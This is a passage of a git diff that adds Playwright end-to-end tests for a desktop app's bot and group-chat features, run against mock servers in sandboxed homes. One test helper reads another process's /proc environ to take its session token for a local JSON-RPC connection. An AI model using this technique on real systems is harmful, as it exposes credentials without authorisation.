RegExp(`^${RECENT_TITLE}\\b`) })+ await expect(recentTab).toBeVisible({ timeout: 60_000 })+ await expect(recentTab).toHaveAttribute('aria-selected', 'true')+ // A tab beside the Bot Chat, not in its place.+ await expect(botChatTab).toBeVisible()+ await expect(page.getByText('Where are we on the deploy?').first()).toBeVisible({ timeout: 60_000 })+ await capture(page, '3-recent-session-tab-open')+ })diff --cc apps/desktop/e2e/bot-tile-ignores-ambient-composer-model.spec.tsindex 00000000000,5f1a95fc896..f179d67247bmode 000000,100644..100644--- a/apps/desktop/e2e/bot-tile-ignores-ambient-composer-model.spec.ts+++ b/apps/desktop/e2e/bot-tile-ignores-ambient-composer-model.spec.ts@@@ -1,0 -1,169 +1,168 @@@+ import fs from 'node:fs'+ import path from 'node:path'+++import { writeEnvFile, writeMockProviderConfig } from '../../../tests-js/scripts/mock-provider-config'+ import {+ buildAppEnv,+ createSandbox,+ launchDesktop,+ type MockBackendFixture,- waitForAppReady,- writeEnvFile,- writeMockProviderConfig++ waitForAppReady+ } from './fixtures'+ import { MOCK_REPLY, startMockServer } from '../../../tests-js/scripts/mock-server'+ import { RealSessionBuilder } from './real-session-builder'+ import { expect, test } from './test'++ // A manual model pick in the composer is sticky for ordinary new chats. A `+`+ // chat opened beside a bot in Bot Mode targets that bot's profile without+ // switching the window's ambient composer, so a pick made for some other open+ // session must NOT ride into the bot's session.create: the bot profile's+ // configured default model is what the new chat's inference request carries+ // (#95264).++ type Page = MockBackendFixture['page']++ const AMBIENT_PICK = 'ambient-pick-model'++ let fixture: MockBackendFixture | null = null++ async function openBots(page: Page): Promise<void> {+ const tab = page+ .getByRole('button', { name: 'Bots', exact: true })+ .or(page.getByRole('tab', { name: 'Bots', exact: true }))+ .first()++ await tab.click()+ await expect(page.getByRole('button', { name: 'New bot or group chat' })).toBeVisible()+ }++ async function settle(page: Page, timeout = 90_000): Promise<void> {+ await page+ .getByText(/Waking up/i)+ .first()+ .waitFor({ state: 'hidden', timeout })+ .catch(() => undefined)+ await page.waitForTimeout(500)+ }++ async function openUntil(action: () => Promise<void>, expected: () => Promise<void>, attempts = 3): Promise<void> {+ for (let attempt = 1; ; attempt += 1) {+ await action()++ try {+ await expected()++ return+ } catch (error) {+ if (attempt >= attempts) {+ throw error+ }+ }+ }+ }++ async function seedBot(hermesHome: string, mockUrl: string, name: string): Promise<void> {+ const dir = path.join(hermesHome, 'profiles', name)+ fs.mkdirSync(dir, { recursive: true })+ writeMockProviderConfig(dir, mockUrl)+ writeEnvFile(dir)++ const builder = await RealSessionBuilder.start(dir)++ try {+ await builder.createSession({ title: 'Bot Chat', turns: [`Hello ${name}`] })+ } finally {+ await builder.close()+ }+ }++ test.beforeAll(async () => {+ const mock = await startMockServer({ extraModels: [AMBIENT_PICK] })+ const sandbox = createSandbox('bot-tile-model')+ writeMockProviderConfig(sandbox.hermesHome, mock.url)+ writeEnvFile(sandbox.hermesHome)+ await seedBot(sandbox.hermesHome, mock.url, 'alpha')++ const { app, page } = await launchDesktop(buildAppEnv(sandbox))++ fixture = {+ app,+ page,+ mock,+ mockUrl: mock.url,+ sandbox,+ cleanup: async () => {+ await app.close().catch(() => undefined)+ await mock.close()+ sandbox.cleanup()+ }+ }+ await waitForAppReady(fixture, 120_000)+ })++ test.afterAll(async () => {+ await fixture?.cleanup()+ fixture = null+ })++ test("a bot's `+` chat runs on the bot profile's model, not the ambient composer pick", async ({}, testInfo) => {+ test.setTimeout(300_000)+ const page = fixture!.page+ const mock = fixture!.mock++ await openBots(page)++ const alphaRow = page+ .getByRole('button', { name: /^alpha\b/i })+ .filter({ visible: true })+ .first()+ await expect(alphaRow).toBeVisible({ timeout: 30_000 })+ await openUntil(+ () => alphaRow.click(),+ () =>+ expect(page.getByText('Hello alpha', { exact: true }).filter({ visible: true }).first()).toBeVisible({+ timeout: 45_000+ })+ )++ await settle(page, 15_000)++ // A manual pick while the bot's canonical chat is open: the window's ambient+ // composer now holds a model that is NOT the profile default. Rows are+ // hover-submenu triggers (reasoning/fast edit); Enter on the row commits.+ await page+ .getByRole('button', { name: /^Model ·/ })+ .first()+ .click()+ await page.getByRole('textbox', { name: 'Search models' }).fill('ambient pick')+ const row = page.getByRole('menuitem', { name: /^Ambient Pick Model/ }).first()+ await expect(row).toBeVisible()+ await row.focus()+ await page.keyboard.press('Enter')+ await expect(page.getByRole('button', { name: /^Model ·/ }).first()).toHaveAccessibleName(new RegExp(AMBIENT_PICK), {+ timeout: 15_000+ })+ await page.screenshot({ path: testInfo.outputPath('bot-chat-manual-pick.png') })++ // `+` beside the bot: a fresh bots-workspace tile for alpha.+ const before = mock.receivedModels.length+ await page.keyboard.press('Control+t')+ await settle(page)+ const composer = page+ .locator('[data-slot="composer-root"] [contenteditable="true"]')+ .filter({ visible: true })+ .first()+ await expect(composer).toBeVisible({ timeout: 15_000 })+ await composer.click()+ await composer.fill('hello alpha thread')+ await page.keyboard.press('Enter')+ await expect(page.getByText(MOCK_REPLY).filter({ visible: true }).first()).toBeVisible({ timeout: 60_000 })+ await page.screenshot({ path: testInfo.outputPath('bot-tile-after-turn.png') })++ await expect.poll(() => mock.receivedModels.length, { timeout: 15_000 }).toBeGreaterThan(before)+ const models = mock.receivedModels.slice(before)+ // The bot profile's configured default (config.yaml `model.default`), never+ // the window's manual composer pick.+ expect(models).not.toContain(AMBIENT_PICK)+ expect(models).toContain('mock-model')+ })diff --cc apps/desktop/e2e/group-composer-auto-grow.spec.tsindex 00000000000,009ab7bb579..a2e93a7d29emode 000000,100644..100644--- a/apps/desktop/e2e/group-composer-auto-grow.spec.ts+++ b/apps/desktop/e2e/group-composer-auto-grow.spec.ts@@@ -1,0 -1,151 +1,150 @@@+ import fs from 'node:fs'+ import path from 'node:path'++ import { startMockServer } from '../../../tests-js/scripts/mock-server'+++import { writeEnvFile, writeMockProviderConfig } from '../../../tests-js/scripts/mock-provider-config'+ import {+ buildAppEnv,+ createSandbox,+ launchDesktop,+ type MockBackendFixture,- waitForAppReady,- writeEnvFile,- writeMockProviderConfig++ waitForAppReady+ } from './fixtures'+ import { RealSessionBuilder } from './real-session-builder'+ import { expect, test } from './test'++ // The group-room composer starts as one compact row, grows with wrapped text+ // and newlines so a long brief can be read back while drafting, and stops at+ // min(50vh, 24rem) — past that the textarea scrolls internally so the room+ // transcript keeps its space (hermes-agent#95300).++ type Page = MockBackendFixture['page']++ let fixture: MockBackendFixture | null = null++ // GROUP_COMPOSER_SCREENSHOT_DIR=<dir> saves full-window captures at the key+ // states — PR evidence; never part of the assertions.+ async function capture(page: Page, name: string): Promise<void> {+ const dir = process.env.GROUP_COMPOSER_SCREENSHOT_DIR++ if (!dir) {+ return+ }++ fs.mkdirSync(dir, { recursive: true })+ await page.screenshot({ path: path.join(dir, `${name}.png`) })+ }++ async function seedBot(hermesHome: string, mockUrl: string, name: string): Promise<void> {+ const dir = path.join(hermesHome, 'profiles', name)+ fs.mkdirSync(dir, { recursive: true })+ writeMockProviderConfig(dir, mockUrl)+ writeEnvFile(dir)++ const builder = await RealSessionBuilder.start(dir)++ try {+ await builder.createSession({ title: 'Bot Chat', turns: [`Hello ${name}`] })+ } finally {+ await builder.close()+ }+ }++ const ROOM = 'Standup'++ test.beforeAll(async () => {+ const mock = await startMockServer()+ const sandbox = createSandbox('bots-group-composer')+ writeMockProviderConfig(sandbox.hermesHome, mock.url)+ writeEnvFile(sandbox.hermesHome)++ for (const name of ['alpha', 'beta']) {+ await seedBot(sandbox.hermesHome, mock.url, name)+ }++ const { app, page } = await launchDesktop(buildAppEnv(sandbox))++ fixture = {+ app,+ page,+ mock,+ mockUrl: mock.url,+ sandbox,+ cleanup: async () => {+ await app.close().catch(() => undefined)+ await mock.close()+ sandbox.cleanup()+ }+ }+ await waitForAppReady(fixture, 120_000)+ })++ test.afterAll(async () => {+ await fixture?.cleanup()+ fixture = null+ })++ test('the group composer grows with a long prompt and stops at the viewport cap', async () => {+ test.setTimeout(300_000)+ const page = fixture!.page++ const tab = page+ .getByRole('button', { name: 'Bots', exact: true })+ .or(page.getByRole('tab', { name: 'Bots', exact: true }))+ .first()++ await tab.click()+ await expect(page.getByRole('button', { name: 'New bot or group chat' })).toBeVisible()+ await expect(page.locator('[data-roster-key="local::alpha"]')).toBeVisible({ timeout: 30_000 })++ await page.getByRole('button', { name: 'New bot or group chat' }).click()+ await page.getByRole('menuitem', { name: 'New Group Chat' }).click()+ const dialog = page.getByRole('dialog', { name: 'New Group Chat' })++ for (const name of ['Alpha @alpha', 'Beta @beta']) {+ await dialog.getByRole('checkbox', { name }).click()+ }++ await dialog.getByRole('textbox', { name: 'Group name' }).fill(ROOM)+ await dialog.getByRole('button', { name: 'Create Group (2)' }).click()+ await expect(dialog).toBeHidden({ timeout: 30_000 })++ const composer = page.getByRole('textbox', { name: `Message ${ROOM}` }).filter({ visible: true })+ await expect(composer).toBeVisible({ timeout: 30_000 })++ const metrics = () =>+ composer.evaluate(el => {+ const box = el.getBoundingClientRect()++ return { height: Math.round(box.height), scrollHeight: el.scrollHeight, clientHeight: el.clientHeight }+ })++ const empty = await metrics()+ await capture(page, '1-composer-empty')++ // Eight explicit lines: the box must grow well past the single row.+ const brief = Array.from({ length: 8 }, (_, i) => `Brief line ${i + 1}: agree on the release checklist item`).join('\n')+ await composer.fill(brief)+ const grown = await metrics()+ await capture(page, '2-composer-eight-lines')+ expect(grown.height).toBeGreaterThan(empty.height * 3)+ // Content fits: nothing to scroll yet.+ expect(grown.scrollHeight).toBeLessThanOrEqual(grown.clientHeight + 1)++ // Far more than fits: growth stops at min(50vh, 24rem) and the text+ // scrolls inside the box instead of taking over the room.+ await composer.fill(Array.from({ length: 80 }, (_, i) => `Line ${i + 1}`).join('\n'))+ const capped = await metrics()+ await capture(page, '3-composer-capped-scrolls')+ const viewport = page.viewportSize() ?? (await page.evaluate(() => ({ height: window.innerHeight, width: 0 })))+ const cap = Math.min(viewport.height / 2, 24 * 16)+ expect(capped.height).toBeLessThanOrEqual(cap + 1)+ expect(capped.height).toBeGreaterThanOrEqual(grown.height)+ expect(capped.scrollHeight).toBeGreaterThan(capped.clientHeight + 40)++ // Enter still sends (not a newline): the composer empties back to one row.+ await composer.fill('@alpha hello there')+ await composer.press('Enter')+ await expect.poll(async () => (await metrics()).height).toBe(empty.height)+ })diff --cc apps/desktop/e2e/group-create-gate-remote-roster.spec.tsindex 00000000000,521f7ee0d20..3d2e596d1b7mode 000000,100644..100644--- a/apps/desktop/e2e/group-create-gate-remote-roster.spec.ts+++ b/apps/desktop/e2e/group-create-gate-remote-roster.spec.ts@@@ -1,0 -1,214 +1,213 @@@+ /**+ * E2E: the New Group Chat menu gate with one local bot plus remote-connection+ * bots (#101543). "This device" is the Electron-managed local backend with+ * only its `default` profile; "Homelab" is a REAL second `hermes serve`+ * registered as a remote URL connection. The gate must count the same+ * selectable set the dialog seats — bots from every registered connection —+ * so 1 local + 1 remote enables New Group Chat and the room can be created.+ */++ import { type ChildProcess, spawn, spawnSync } from 'node:child_process'+ import * as fs from 'node:fs'+ import * as net from 'node:net'+ import * as path from 'node:path'+++import { writeEnvFile, writeMockProviderConfig } from '../../../tests-js/scripts/mock-provider-config'+ import {+ buildAppEnv,+ createSandbox,+ launchDesktop,+ type MockBackendFixture,+ type Sandbox,- waitForAppReady,- writeEnvFile,- writeMockProviderConfig,++ waitForAppReady+ } from './fixtures'+ import { startMockServer } from '../../../tests-js/scripts/mock-server'+ import { type ElectronApplication, expect, type Page, test } from './test'++ const DESKTOP_ROOT = path.resolve(import.meta.dirname, '..')+ const REPO_ROOT = path.resolve(DESKTOP_ROOT, '..', '..')+ const REMOTE_LABEL = 'Homelab'+ const REMOTE_ID = 'homelab'+ const REMOTE_TOKEN = 'e2e-group-gate-homelab-token'+ const SHOTS = '/tmp/batchbots/group-identity-members/shots'++ interface RemoteGateway {+ url: string+ close: () => Promise<void>+ }++ /** The worktree's own backend: `python -m hermes_cli.main` from the repo root+ * (the venv's `hermes` console script resolves the package it was installed+ * from, which need not be this checkout). */+ function hermesCommand(): { bin: string; args: string[] } {+ const venvPython = path.join(REPO_ROOT, '.venv', 'bin', 'python')++ if (fs.existsSync(venvPython)) {+ return { bin: venvPython, args: ['-m', 'hermes_cli.main'] }+ }++ const result = spawnSync('which', ['hermes'], { encoding: 'utf8' })++ if (result.status === 0 && result.stdout.trim()) {+ return { bin: result.stdout.trim(), args: [] }+ }++ throw new Error('hermes backend not found: create the repo venv (uv sync) or put hermes on PATH')+ }++ async function freePort(): Promise<number> {+ return new Promise((resolve, reject) => {+ const server = net.createServer()+ server.unref()+ server.on('error', reject)+ server.listen(0, '127.0.0.1', () => {+ const { port } = server.address() as net.AddressInfo+ server.close(() => resolve(port))+ })+ })+ }++ function seedProfiles(home: string, names: string[]): void {+ for (const name of names) {+ const dir = path.join(home, 'profiles', name)+ fs.mkdirSync(dir, { recursive: true })+ fs.writeFileSync(path.join(dir, 'config.yaml'), '', 'utf8')+ }+ }++ async function startRemoteGateway(root: string, mockUrl: string, profiles: string[]): Promise<RemoteGateway> {+ const home = path.join(root, 'homelab-home')+ fs.mkdirSync(home, { recursive: true })+ writeMockProviderConfig(home, mockUrl)+ writeEnvFile(home)+ seedProfiles(home, profiles)+ const port = await freePort()+ const url = `http://127.0.0.1:${port}`++ const hermes = hermesCommand()++ const child: ChildProcess = spawn(hermes.bin, [...hermes.args, 'serve', '--host', '127.0.0.1', '--port', String(port), '--skip-build'], {+ cwd: REPO_ROOT,+ detached: true,+ env: { ...process.env, HERMES_HOME: home, HERMES_DASHBOARD_SESSION_TOKEN: REMOTE_TOKEN, PYTHONPATH: REPO_ROOT },+ stdio: ['ignore', 'pipe', 'pipe'],+ })++ let log = ''+ child.stdout?.on('data', (chunk: Buffer) => { log += chunk.toString() })+ child.stderr?.on('data', (chunk: Buffer) => { log += chunk.toString() })+ const deadline = Date.now() + 90_000++ while (Date.now() < deadline) {+ if (child.exitCode !== null) {+ throw new Error(`remote hermes serve exited early (${child.exitCode}):\n${log}`)+ }++ try {+ const response = await fetch(`${url}/api/status`, { headers: { 'X-Hermes-Session-Token': REMOTE_TOKEN } })++ if (response.ok) {+ break+ }+ } catch {+ // not up yet+ }++ await new Promise(resolve => setTimeout(resolve, 500))+ }++ if (Date.now() >= deadline) {+ throw new Error(`remote hermes serve never became ready:\n${log}`)+ }++ return {+ url,+ close: async () => {+ if (child.pid && child.exitCode === null) {+ try {+ process.kill(-child.pid, 'SIGTERM')+ } catch {+ child.kill('SIGTERM')+ }+ }++ await new Promise(resolve => setTimeout(resolve, 500))+ },+ }+ }++ function writeConnectionsRegistry(sandbox: Sandbox, remoteUrl: string): void {+ fs.writeFileSync(+ path.join(sandbox.userDataDir, 'connections.json'),+ JSON.stringify(+ {+ version: 2,+ primary: 'local',+ launchMode: 'primary',+ lastUsed: 'local',+ connections: [+ { id: 'local', kind: 'local', label: 'This device' },+ { id: REMOTE_ID, kind: 'remote', label: REMOTE_LABEL, url: remoteUrl, authMode: 'token', token: { encoding: 'plain', value: REMOTE_TOKEN } },+ ],+ },+ null,+ 2,+ ),+ { encoding: 'utf8', mode: 0o600 },+ )+ }++ const roster = (page: Page) => page.locator('[data-slot="bots-roster"]')++ test.describe('New Group Chat gate — one local bot plus remote-connection bots', () => {+ let mock: Awaited<ReturnType<typeof startMockServer>>+ let sandbox: Sandbox+ let remote: RemoteGateway+ let app: ElectronApplication+ let page: Page++ test.beforeAll(async () => {+ test.setTimeout(240_000)+ mock = await startMockServer()+ sandbox = createSandbox('group-gate')+ writeMockProviderConfig(sandbox.hermesHome, mock.url)+ writeEnvFile(sandbox.hermesHome)+ // This device: ONLY its primary `default` profile. Homelab: default + inbox (rendered title-cased, "Inbox").+ remote = await startRemoteGateway(sandbox.root, mock.url, ['inbox'])+ writeConnectionsRegistry(sandbox, remote.url)+ ;({ app, page } = await launchDesktop(buildAppEnv(sandbox)))+ await waitForAppReady({ app, page } as MockBackendFixture, 120_000)+ await expect(page.locator('[data-slot="statusbar"]').getByText('ready', { exact: true })).toBeVisible({ timeout: 120_000 })+ })++ test.afterAll(async () => {+ await app?.close().catch(() => undefined)+ await remote?.close()+ await mock?.close()+ sandbox?.cleanup()+ })++ test('the menu entry enables and the dialog seats the remote bot', async () => {+ test.setTimeout(240_000)+ const tab = page.getByRole('button', { name: 'Bots', exact: true }).or(page.getByRole('tab', { name: 'Bots', exact: true })).first()+ await tab.click()+ await expect(page.getByRole('button', { name: 'New bot or group chat' })).toBeVisible()+ // Precondition: exactly one local bot, and the remote bots have arrived.+ await expect(roster(page).locator(`[data-roster-key="${REMOTE_ID}::inbox"]`)).toBeVisible({ timeout: 90_000 })+ await expect(roster(page).locator('[data-roster-key^="local::"]')).toHaveCount(1)++ await page.getByRole('button', { name: 'New bot or group chat' }).click()+ const entry = page.getByRole('menuitem', { name: 'New Group Chat' })+ await expect(entry).toBeVisible()+ await page.screenshot({ path: `${SHOTS}/group-create-gate-menu.png` })+ await expect(entry).toBeEnabled()+ await entry.click()++ const dialog = page.getByRole('dialog', { name: 'New Group Chat' })+ await expect(dialog).toBeVisible()+ await dialog.getByText('Hermes', { exact: true }).first().locator('xpath=ancestor::label').getByRole('checkbox').click()+ await dialog.getByText('Inbox', { exact: true }).first().locator('xpath=ancestor::label').getByRole('checkbox').click()+ await expect(dialog.getByRole('button', { name: 'Create Group (2)' })).toBeEnabled()+ await page.screenshot({ path: `${SHOTS}/group-create-gate-dialog.png` })+ })+ })diff --cc apps/desktop/e2e/group-prompt-renamed-primary-handle.spec.tsindex 00000000000,9b4bf36a5f7..0916d7a2bc3mode 000000,100644..100644--- a/apps/desktop/e2e/group-prompt-renamed-primary-handle.spec.ts+++ b/apps/desktop/e2e/group-prompt-renamed-primary-handle.spec.ts@@@ -1,0 -1,157 +1,156 @@@+ import { readFileSync, writeFileSync } from 'node:fs'+ import { join } from 'node:path'+++import { writeEnvFile, writeMockProviderConfig } from '../../../tests-js/scripts/mock-provider-config'+ import {+ buildAppEnv,+ createSandbox,+ launchDesktop,+ type MockBackendFixture,- waitForAppReady,- writeEnvFile,- writeMockProviderConfig++ waitForAppReady+ } from './fixtures'+ import { startMockServer } from '../../../tests-js/scripts/mock-server'+ import { expect, test } from './test'++ // The primary profile (`default`) renamed to a Bot Mode title ("Bobby") is+ // addressed by the roster, autocomplete and mention routing as @bobby — but the+ // group-turn prompt introduced it to itself as @hermes, so a member told+ // "You are @hermes" read `@bobby …` as a message for someone else and passed.+ // The mock inference server scripts a member's line by the `You are @<handle>`+ // opener, so the assertion is exactly that mismatch: with a script for+ // `bobby`, the renamed primary must answer (the persisted room log carries an+ // entry authored by `default`), not settle silently.++ let fixture: MockBackendFixture | null = null++ type Page = MockBackendFixture['page']++ interface RoomLogEntry {+ from?: { kind?: string; name?: string }+ text?: string+ }++ const GROUP = 'Bobby, Code Farmer'++ async function openBots(page: Page): Promise<void> {+ const tab = page+ .getByRole('button', { name: 'Bots', exact: true })+ .or(page.getByRole('tab', { name: 'Bots', exact: true }))+ .first()++ await tab.click()+ await expect(page.getByRole('button', { name: 'New bot or group chat' })).toBeVisible()+ }++ async function createAgent(page: Page, name: string, title: string): Promise<void> {+ await page.getByRole('button', { name: 'New bot or group chat' }).click()+ await page.getByRole('menuitem', { name: 'New Bot' }).click()++ const dialog = page.getByRole('dialog', { name: 'New Bot' })+ await dialog.getByPlaceholder('inbox-triage').fill(name)+ await dialog.getByPlaceholder('Inbox Triage').fill(title)+ await dialog.getByRole('button', { name: 'Create Bot' }).click()+ await expect(dialog).toBeHidden({ timeout: 30_000 })+ await expect(page.getByRole('button', { name: new RegExp(`^${title}\\b`) }).first()).toBeVisible({ timeout: 30_000 })+ }++ async function roomLog(page: Page, group: string): Promise<RoomLogEntry[]> {+ return page.evaluate(name => {+ const raw = window.localStorage.getItem('hermes.plugin.hermes-bots.group-chats')+ const rooms = raw ? (JSON.parse(raw) as Record<string, { log?: RoomLogEntry[] }>) : {}++ return rooms[name]?.log ?? []+ }, group)+ }++ test.beforeAll(async () => {+ const mock = await startMockServer()+ const sandbox = createSandbox('renamed-primary')+ writeMockProviderConfig(sandbox.hermesHome, mock.url)+ writeEnvFile(sandbox.hermesHome)+ // The primary profile carries a Bot Mode title — what `hermes profile rename`+ // / the Edit Profile dialog persist into profile.yaml's ui_meta.+ writeFileSync(+ join(sandbox.hermesHome, 'profile.yaml'),+ 'ui_meta:\n hermes-bots:\n title: Bobby\n shape: circle\n color: "#4f8"\n',+ 'utf8'+ )++ const { app, page } = await launchDesktop(buildAppEnv(sandbox))++ fixture = {+ app,+ page,+ mock,+ mockUrl: mock.url,+ sandbox,+ cleanup: async () => {+ await app.close().catch(() => undefined)+ await mock.close()+ sandbox.cleanup()+ }+ }+ await waitForAppReady(fixture, 120_000)+ })++ // eslint-disable-next-line no-empty-pattern+ test.afterEach(async ({}, info) => {+ if (!fixture) {+ return+ }++ await info.attach('room-log', {+ body: JSON.stringify(await roomLog(fixture.page, GROUP), null, 2),+ contentType: 'application/json'+ })+ await info.attach('native-window', { body: await fixture.page.screenshot(), contentType: 'image/png' })+ await info.attach('desktop-log', {+ body: readFileSync(join(fixture.sandbox.hermesHome, 'logs/desktop.log')),+ contentType: 'text/plain'+ })+ })++ test.afterAll(async () => {+ await fixture?.cleanup()+ fixture = null+ })++ test('a renamed primary bot is addressed by its own @tag in the group-turn prompt', async () => {+ test.setTimeout(420_000)+ const page = fixture!.page++ await openBots(page)+ await expect(page.getByRole('button', { name: /^Bobby\b/ }).first()).toBeVisible({ timeout: 30_000 })+ await createAgent(page, 'code-farmer', 'Code Farmer')++ await page.getByRole('button', { name: 'New bot or group chat' }).click()+ await page.getByRole('menuitem', { name: 'New Group Chat' }).click()++ const dialog = page.getByRole('dialog', { name: 'New Group Chat' })++ for (const title of ['Bobby', 'Code Farmer']) {+ await dialog.getByText(title, { exact: true }).locator('xpath=ancestor::label').getByRole('checkbox').click()+ }++ await dialog.getByRole('textbox', { name: 'Group name' }).fill(GROUP)+ await dialog.getByRole('button', { name: 'Create Group (2)' }).click()++ const composer = page.getByRole('textbox', { name: `Message ${GROUP}` }).filter({ visible: true })+ await expect(composer).toBeVisible({ timeout: 20_000 })++ // Only the renamed primary is addressed, by its friendly tag. Its scripted+ // line is keyed to `bobby`: the member only speaks when its turn prompt+ // introduces it as @bobby (the control, code-farmer, is scripted too so a+ // wrong-handle prompt cannot be mistaken for an idle room).+ await composer.fill('@bobby Please reply with one line only. E2E_SAY(bobby)[B] E2E_SAY(code-farmer)[C]')+ await composer.press('Enter')++ await expect+ .poll(async () => (await roomLog(page, GROUP)).some(e => e.from?.name === 'default' && (e.text || '').trim() === 'B'), {+ timeout: 180_000,+ message: 'the renamed primary (default / Bobby) was introduced to itself as @hermes and never answered @bobby'+ })+ .toBe(true)++ await expect(page.getByText('B', { exact: true }).filter({ visible: true }).first()).toBeVisible()+ })diff --cc apps/desktop/e2e/hosted-room-backend-continuity.spec.tsindex 00000000000,9669f8f0e88..e93d7247693mode 000000,100644..100644--- a/apps/desktop/e2e/hosted-room-backend-continuity.spec.ts+++ b/apps/desktop/e2e/hosted-room-backend-continuity.spec.ts@@@ -1,0 -1,191 +1,190 @@@+ import { execSync } from 'node:child_process'+ import fs from 'node:fs'+ import path from 'node:path'+++import { writeEnvFile, writeMockProviderConfig } from '../../../tests-js/scripts/mock-provider-config'+ import {+ buildAppEnv,+ createSandbox,+ launchDesktop,+ type MockBackendFixture,- waitForAppReady,- writeEnvFile,- writeMockProviderConfig++ waitForAppReady+ } from './fixtures'+ import { startMockServer } from '../../../tests-js/scripts/mock-server'+ import { expect, test } from './test'++ // Hosted Group Chat rooms live in the gateway, and the Desktop's own `hermes serve` backend runs+ // a room worker. A member turn used to keep the profile's `bot_room` active-session slot for the+ // life of the backend process, so a second room worker on the same home (the messaging gateway+ // beside Desktop serve) was refused every turn once the driver lease flipped (#106847). Asserted+ // against the REAL Electron app's spawned backend over its JSON-RPC socket plus storage truth+ // (`profiles/<member>/runtime/active_sessions.json`).++ type Page = MockBackendFixture['page']+++ let fixture: MockBackendFixture | null = null+ let rpc: Rpc | null = null++ function seedProfile(hermesHome: string, mockUrl: string, name: string): void {+ const dir = path.join(hermesHome, 'profiles', name)+ fs.mkdirSync(dir, { recursive: true })+ writeMockProviderConfig(dir, mockUrl)+ writeEnvFile(dir)+ }++ /** Locate the Electron-spawned `hermes serve` backend for this sandbox: its port and session token. */+ function findBackend(hermesHome: string): { port: number; token: string; pid: number } {+ const pids = execSync(`pgrep -f "serve --host 127.0.0.1 --port 0" || true`, { encoding: 'utf8' })+ .split('\n')+ .map(s => s.trim())+ .filter(Boolean)+ for (const pidText of pids) {+ const pid = Number(pidText)+ let environ = ''+ try {+ environ = fs.readFileSync(`/proc/${pid}/environ`, 'latin1')+ } catch {+ continue+ }+ const vars = new Map(environ.split('\0').map(kv => [kv.slice(0, kv.indexOf('=')), kv.slice(kv.indexOf('=') + 1)]))+ if (vars.get('HERMES_HOME') !== hermesHome) {+ continue+ }+ const token = vars.get('HERMES_DASHBOARD_SESSION_TOKEN') ?? ''+ // The backend inherits Electron's remote-debugging socket fd too; the serve port is the listener+ // that only the hermes process holds.+ const listen = execSync(`ss -ltnp | grep "pid=${pid}," | grep -v electron || true`, { encoding: 'utf8' })+ const port = Number(/127\.0\.0\.1:(\d+)/.exec(listen)?.[1] ?? 0)+ if (token && port) {+ return { port, token, pid }+ }+ }+ throw new Error(`no hermes serve backend found for ${hermesHome} (pids: ${pids.join(',')})`)+ }++ /** Minimal JSON-RPC client over the backend's /api/ws (Node's global WebSocket; no Origin header is sent,+ * which the loopback backend accepts — the session token is the auth boundary). */+ class Rpc {+ private ws: WebSocket+ private id = 0+ private ready: Promise<void>++ constructor(port: number, token: string) {+ this.ws = new WebSocket(`ws://127.0.0.1:${port}/api/ws?token=${token}`)+ this.ready = new Promise((resolve, reject) => {+ this.ws.addEventListener('open', () => resolve(), { once: true })+ this.ws.addEventListener('error', () => reject(new Error(`ws upgrade to 127.0.0.1:${port} failed`)), { once: true })+ })+ }++ async call(method: string, params: Record<string, unknown> = {}): Promise<any> {+ await this.ready+ const id = `e2e-${++this.id}`+ return new Promise((resolve, reject) => {+ const onMessage = (event: MessageEvent) => {+ const frame = JSON.parse(String(event.data))+ if (frame.id === id) {+ this.ws.removeEventListener('message', onMessage)+ resolve(frame)+ }+ }+ this.ws.addEventListener('message', onMessage)+ this.ws.addEventListener('error', () => reject(new Error(`ws error during ${method}`)), { once: true })+ this.ws.send(JSON.stringify({ jsonrpc: '2.0', id, method, params }))+ })+ }++ close(): void {+ this.ws.close()+ }+ }++ async function openBots(page: Page): Promise<void> {+ const tab = page+ .getByRole('button', { name: 'Bots', exact: true })+ .or(page.getByRole('tab', { name: 'Bots', exact: true }))+ .first()+ await tab.click()+ await expect(page.getByRole('button', { name: 'New bot or group chat' })).toBeVisible()+ }++ test.beforeAll(async () => {+ const mock = await startMockServer()+ const sandbox = createSandbox('hosted-rooms-backend')+ writeMockProviderConfig(sandbox.hermesHome, mock.url)+ writeEnvFile(sandbox.hermesHome)+ seedProfile(sandbox.hermesHome, mock.url, 'sentinel')+ seedProfile(sandbox.hermesHome, mock.url, 'friday')++ const { app, page } = await launchDesktop(buildAppEnv(sandbox))+ fixture = {+ app,+ page,+ mock,+ mockUrl: mock.url,+ sandbox,+ cleanup: async () => {+ rpc?.close()+ await app.close().catch(() => undefined)+ await mock.close()+ sandbox.cleanup()+ }+ }+ await waitForAppReady(fixture, 120_000)+ const backend = findBackend(sandbox.hermesHome)+ rpc = new Rpc(backend.port, backend.token)+ })++ test.afterAll(async () => {+ await fixture?.cleanup()+ fixture = null+ })++ test("a hosted room turn driven by the Desktop backend releases the member's bot_room slot (#106847)", async () => {+ test.setTimeout(300_000)+ const page = fixture!.page+ const created = await rpc!.call('groups.create', {+ room_id: 'r-slot',+ name: 'Slot probe',+ members: [+ { member_id: 'm-sentinel', profile: 'sentinel', handle: 'sentinel' },+ { member_id: 'm-friday', profile: 'friday', handle: 'friday' }+ ]+ })+ expect(created.error, JSON.stringify(created.error)).toBeUndefined()+ const sent = await rpc!.call('groups.send', {+ room_id: 'r-slot',+ event_id: 'u1',+ payload: { text: '@sentinel say hello', thread_id: 't1' }+ })+ expect(sent.error, JSON.stringify(sent.error)).toBeUndefined()++ const kinds = async () => {+ const log = await rpc!.call('groups.log', { room_id: 'r-slot', since_seq: 0, limit: 50 })+ return log.result.events.map((event: any) => event.kind) as string[]+ }+ await expect.poll(kinds, { timeout: 180_000, intervals: [1_000] }).toContain('message.member')+ await expect+ .poll(kinds, { timeout: 60_000, intervals: [1_000] })+ .toContain('room.activity')++ const slotsPath = path.join(fixture!.sandbox.hermesHome, 'profiles', 'sentinel', 'runtime', 'active_sessions.json')+ const botRoomSlots = () => {+ if (!fs.existsSync(slotsPath)) {+ return []+ }+ const entries = JSON.parse(fs.readFileSync(slotsPath, 'utf8')).entries ?? []+ return entries.filter((entry: any) => entry.surface === 'bot_room')+ }+ // The slot is claimed for the turn and must be gone once the turn settled — on the pre-fix build it+ // stays (updated_at === started_at) until the backend process exits.+ await expect.poll(botRoomSlots, { timeout: 20_000, intervals: [500] }).toEqual([])++ // Rendered surface control: the Desktop Bots pane is healthy alongside the backend-driven room.+ await openBots(page)+ await expect(page.getByRole('button', { name: /^sentinel\b/i }).filter({ visible: true }).first()).toBeVisible({+ timeout: 30_000+ })+ await page.screenshot({ path: 'test-results/hosted-rooms-backend-bots-pane.png' })+ })diff --cc apps/desktop/e2e/hosted-room-legacy-store-migration.spec.tsindex 00000000000,5fd76340334..e83193fe008mode 000000,100644..100644--- 